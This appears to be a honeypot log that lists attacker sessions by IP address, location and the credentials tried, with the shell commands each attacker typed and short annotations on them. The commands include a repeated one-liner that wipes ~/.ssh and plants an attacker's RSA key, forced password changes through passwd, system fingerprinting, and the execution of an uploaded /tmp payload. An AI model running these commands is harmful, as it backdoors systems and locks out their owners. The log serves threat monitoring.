$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ silent_monsoon_root_225 (139.59.64.225) โ€” Bengaluru, India ยท 1 session ยท 1 cmd
2026-08-02 20:35 EDT ยท as root/password
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -m
๐ŸŽญ glitchy_zubr_root (20.215.251.225) โ€” Warsaw, Poland ยท 2 sessions ยท 4 cmds
2026-08-02 18:24 EDT ยท as oracle/123.com, oracle/root123
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh ร—2
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ร—2
โ†ณ SSH key persistence
๐ŸŽญ clandestine_panda_root (121.227.152.171) โ€” Nanjing, China ยท 1 session ยท 20 cmds
2026-08-02 19:31 EDT ยท as tomcat/tomcat
file attribute tampering โ†’ SSH key persistence โ†’ CPU profiling
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "tomcat\nolXF6T9xXBI9\nolXF6T9xXBI9"|passwd|bash
$ Enter new UNIX password:
$ echo "tomcat\nolXF6T9xXBI9\nolXF6T9xXBI9\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ hollow_yankee_root (107.173.85.253) โ€” Buffalo, United States ยท 32 sessions ยท 32 cmds
2026-08-02 17:43 EDT ยท as admin/123456, admin/admin, admin/admin123
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—32
๐ŸŽญ grumpy_peak_root (45.154.13.129) โ€” Tseung Kwan O, Hong Kong ยท 1 session ยท 2 cmds
2026-08-02 17:08 EDT ยท as oracle/11111111
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ derelict_rogue_root (190.129.122.185) โ€” Cochabamba, Bolivia ยท 1 session ยท 2 cmds
2026-08-02 16:29 EDT ยท as oracle/123456
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ arctic_static_root (209.99.190.113) โ€” Zurich, Switzerland ยท 2 sessions ยท 22 cmds
2026-07-04 01:10 EDT ยท as admin/admin123, oracle/pass1234
file attribute tampering โ†’ SSH key persistence โ†’ CPU profiling
$ cd ~; chattr -ia .ssh; lockr -ia .ssh ร—2
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ร—2
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "admin123\nhIzCHfXX8X5M\nhIzCHfXX8X5M"|passwd|bash
$ Enter new UNIX password:
$ echo "admin123\nhIzCHfXX8X5M\nhIzCHfXX8X5M\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ ironclad_void_root (159.112.138.47) โ€” Santiago, Chile ยท 1 session ยท 2 cmds
2026-08-02 16:24 EDT ยท as oracle/Oracle@2024
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ rogue_yankee_sol (162.243.147.237) โ€” San Francisco, United States ยท 1 session ยท 2 cmds
2026-08-02 16:07 EDT ยท as oracle/123456
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ silent_stroopwafel_sol (45.156.87.91) โ€” Amsterdam, The Netherlands ยท 42 sessions ยท 42 cmds
2026-07-19 07:43 EDT ยท as admin/123456, admin/admin, admin/admin123
Ran uname 3x across 3 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—42
๐ŸŽญ wired_dragon_root (14.29.240.154) โ€” Shenzhen, China ยท 1 session ยท 2 cmds
2026-08-02 12:35 EDT ยท as oracle/blabla123x!
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ manic_clog_root_240 (77.239.124.240) โ€” Amsterdam, The Netherlands ยท 62 sessions ยท 62 cmds
2026-07-21 17:38 EDT ยท as admin/123456, admin/admin, admin/admin123
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—62
๐ŸŽญ murky_lotus_root (182.73.176.186) โ€” Chennai, India ยท 1 session ยท 20 cmds
2026-08-02 11:06 EDT ยท as sol/123456
SSH session established with sol/123456 โ†’ chattr -ia .ssh to lock home directory โ†’ rm -rf .ssh && mkdir .ssh to reset SSH keys โ†’ echo RSA key to restore access โ†’ cat /proc/cpuinfo | grep name | wc -l to count CPU cores โ†’ passwd -f 123456/ahdKqbGekSq
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "123456\nahdKqbGekSqx\nahdKqbGekSqx"|passwd|bash
$ Enter new UNIX password:
$ echo "123456\nahdKqbGekSqx\nahdKqbGekSqx\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ wily_rendang_root (103.97.101.25) โ€” Pekalongan, Indonesia ยท 5 sessions ยท 28 cmds
2026-07-09 11:30 EDT ยท as oracle/123456, oracle/changeme, oracle/oracle321
file attribute tampering โ†’ SSH key persistence โ†’ CPU profiling
$ cd ~; chattr -ia .ssh; lockr -ia .ssh ร—5
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ร—5
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "tomcat\nId2iPeMDhht2\nId2iPeMDhht2"|passwd|bash
$ Enter new UNIX password:
$ echo "tomcat\nId2iPeMDhht2\nId2iPeMDhht2\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ molten_durian_sol (101.47.27.73) โ€” Singapore, Singapore ยท 1 session ยท 2 cmds
2026-08-02 06:47 EDT ยท as oracle/1234
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ ironclad_stroopwafel_root_41 (91.92.40.41) โ€” Amsterdam, The Netherlands ยท 16 sessions ยท 16 cmds
2026-08-02 01:56 EDT ยท as deploy/deploy, deploy/deploy123, guest/guest
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—16
๐ŸŽญ scrappy_burger_root (173.231.200.81) โ€” Los Angeles, United States ยท 1 session ยท 2 cmds
2026-08-02 03:44 EDT ยท as oracle/redhat
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ jittery_burger_root (43.166.245.172) โ€” Ashburn, United States ยท 1 session ยท 2 cmds
2026-08-02 01:52 EDT ยท as oracle/11111111
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ unhinged_matador_pi (88.21.156.71) โ€” Cocentaina, Spain ยท 2 sessions ยท 3 cmds
2026-08-02 00:45 EDT ยท as pi/raspberry
make executable โ†’ execute payload โ†’ execute from /tmp
$ cd /tmp && chmod +x O28rhF61 && bash -c ./O28rhF61
โ†ณ make executable
$ ./O28rhF61
โ†ณ execute payload
$ scp -t /tmp/O28rhF61
โ†ณ execute from /tmp
๐ŸŽญ brazen_frost_root (37.110.113.113) โ€” Moscow, Russia ยท 1 session ยท 2 cmds
2026-08-01 22:55 EDT ยท as oracle/Oracle1
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ brisk_yankee_root (104.243.42.167) โ€” Piscataway, United States ยท 2 sessions ยท 4 cmds
2026-07-10 16:15 EDT ยท as oracle/09N1RCa1Hs31, oracle/a
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh ร—2
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ร—2
โ†ณ SSH key persistence
๐ŸŽญ sullen_star_root (20.12.41.6) โ€” Boydton, United States ยท 1 session ยท 20 cmds
2026-08-01 19:38 EDT ยท as ubuntu/ubuntu
cd ~; chattr -ia .ssh โ†’ cd ~ && rm -rf .ssh โ†’ mkdir .ssh โ†’ echo "ssh-rsa..." โ†’ cat /proc/cpuinfo | grep name | wc -l โ†’ echo "ubuntu\nUA5Pd8FcYWbU\nUA5Pd8FcYWbU"|passwd|bash โ†’ Enter new UNIX password: โ†’ echo "ubuntu\nUA
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "ubuntu\nUA5Pd8FcYWbU\nUA5Pd8FcYWbU"|passwd|bash
$ Enter new UNIX password:
$ echo "ubuntu\nUA5Pd8FcYWbU\nUA5Pd8FcYWbU\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ vapor_gouda_root (91.92.47.6) โ€” Amsterdam, The Netherlands ยท 32 sessions ยท 32 cmds
2026-07-26 14:28 EDT ยท as admin/123456, admin/admin, admin/admin123
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—32
๐ŸŽญ silent_burger_sol (4.157.250.195) โ€” Boydton, United States ยท 2 sessions ยท 22 cmds
2026-07-05 04:41 EDT ยท as oracle/1234qwer, oracle/oracle@2024
cd ~; chattr -ia .ssh; lockr -ia .ssh โ†’ cd ~ && rm -rf .ssh && mkdir .ssh โ†’ echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7Vv" โ†’ cat /proc/cpuinfo | grep name | wc
$ cd ~; chattr -ia .ssh; lockr -ia .ssh ร—2
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ร—2
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "1234qwer\neEdJrQTyr4ua\neEdJrQTyr4ua"|passwd|bash
$ Enter new UNIX password:
$ echo "1234qwer\neEdJrQTyr4ua\neEdJrQTyr4ua\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ frantic_jade_root (14.103.118.61) โ€” Haidian, China ยท 1 session ยท 2 cmds
2026-08-01 11:58 EDT ยท as oracle/root123
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
